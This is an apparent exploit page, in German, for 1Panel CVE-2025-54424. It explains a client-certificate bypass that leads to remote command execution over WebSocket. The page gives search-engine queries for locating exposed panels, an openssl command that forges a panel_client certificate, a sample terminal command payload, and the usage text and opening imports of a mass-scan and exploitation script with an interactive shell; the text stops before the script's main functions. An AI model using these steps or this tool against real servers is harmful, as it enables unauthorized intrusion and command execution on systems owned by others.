
Exploit-Tool für 1Panel CVE-2025-54424, das Zertifikatsumgehung und Remote-Befehlsausführung über WebSocket ermöglicht, mit Batch-Scanning und interaktiver Shell.
CVE-2025-54424: 1Panel RCE-Schwachstelle durch Umgehung des Client-Zertifikats – Integriertes Tool (Scan + Ausnutzung)
1Panel ist ein Open-Source, modernes Linux-Operations- und Verwaltungspanel, das eine grafische Oberfläche zur Bereitstellung von Websites, Serververwaltung und Ausführung von Diensten bietet.
In den betroffenen Versionen ist die TLS-Authentifizierungsstrategie der Agent-Seite auf tls.RequireAnyClientCert gesetzt, die nur ein Zertifikat verlangt, aber dessen Vertrauenswürdigkeit nicht überprüft. Ein Angreifer kann die TLS-Prüfung mit einem selbstsignierten Zertifikat umgehen, das CN-Feld auf panel_client fälschen und die Anwendungsebene umgehen. Schließlich kann der Angreifer ein gefälschtes Zertifikat verwenden, um nicht autorisierte Aufrufe der Befehlsausführung-Schnittstelle durchzuführen, was zu einer Schwachstelle für die Remote-Befehlsausführung führt.
<= v2.0.5
Die Erkennungsabfragen für Hunter und Fofa lauten wie folgt:
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Auszug aus der GitHub-Sicherheitswarnung

agent/init/router/router.go
Es wird festgestellt, dass die Funktion Routers die Funktion Certificate für eine globale Überprüfung referenziert: agent/middleware/certificate.go

Es wird festgestellt, dass die Funktion Certificate überprüft, ob c.Request.TLS.HandshakeComplete eine Zertifikatskommunikation durchgeführt hat.

Die Wahr/Falsch-Prüfung von c.Request.TLS.HandshakeComplete wird durch tls.RequireAnyClientCert in der Funktion Start der Datei agent/server/server.go gesteuert.
Hinweis: Da tls.RequireAnyClientCert und nicht tls.RequireAndVerifyClientCert verwendet wird, erfordert RequireAnyClientCert nur ein Client-Zertifikat, überprüft aber nicht die ausstellende CA. Daher kann jedes selbstsignierte Zertifikat den TLS-Handshake bestehen.
Anschließend wird in der Funktion Certificate nur überprüft, ob das CN-Feld des Zertifikats panel_client lautet, nicht der Aussteller. Schließlich wird festgestellt, dass WebSocket-Verbindungen die Proxy-ID-Überprüfung umgehen können.

Das Projekt enthält eine große Anzahl von Websocket-Schnittstellen.
/process/ws
Anforderungsformat:{
"type": "ps", // Datentyp: ps (Prozesse), ssh (SSH-Sitzungen), net (Netzwerkverbindungen), wget (Download-Fortschritt)
"pid": 123, // Optional, Filter nach Prozess-ID
"name": "process_name", // Optional, Filter nach Prozessname
"username": "user" // Optional, Filter nach Benutzername
}

/hosts/terminal
Anforderungsformat:{
"type": "cmd",
"data": "d2hvYW1pCg==" // Base64-Kodierung von "whoami", denken Sie daran, den Zeilenumbruch nicht zu vergessen.
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
panel_client.crt und panel_client.key in Burp geladen haben, öffnen Sie die WS-Anfrage, stellen Sie das Ziel ein und starten Sie die Anfrage.Verwenden Sie das von mir entwickelte Skript CVE-2025-54424.py für den Massenscan und die Ausnutzung. Die Anleitung zum Tool lautet wie folgt:
Installieren Sie die erforderlichen Abhängigkeiten: pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel RCE-Schwachstelle durch Umgehung des Client-Zertifikats – Integriertes Tool (Scan + Ausnutzung)
Autor: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Einzelnes Ziel, wechselt in den Ausnutzungsmodus. Beispiel: 192.168.1.100:8080
-f FILE, --file FILE Zieldatei, wechselt in den Massenscan-Modus.
-o OUTPUT, --output OUTPUT
[Scan-Modus] Dateiname zum Speichern der Schwachstellenergebnisse.
-t THREADS, --threads THREADS
[Scan-Modus] Anzahl gleichzeitiger Threads.
--proxy PROXY Proxy für alle Anfragen. Beispiel: http://127.0.0.1:8080
Zum Beispiel einzelner Scan + Befehlsausführung (interaktive SSH-Befehlsausführung) wie im folgenden Bild dargestellt:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---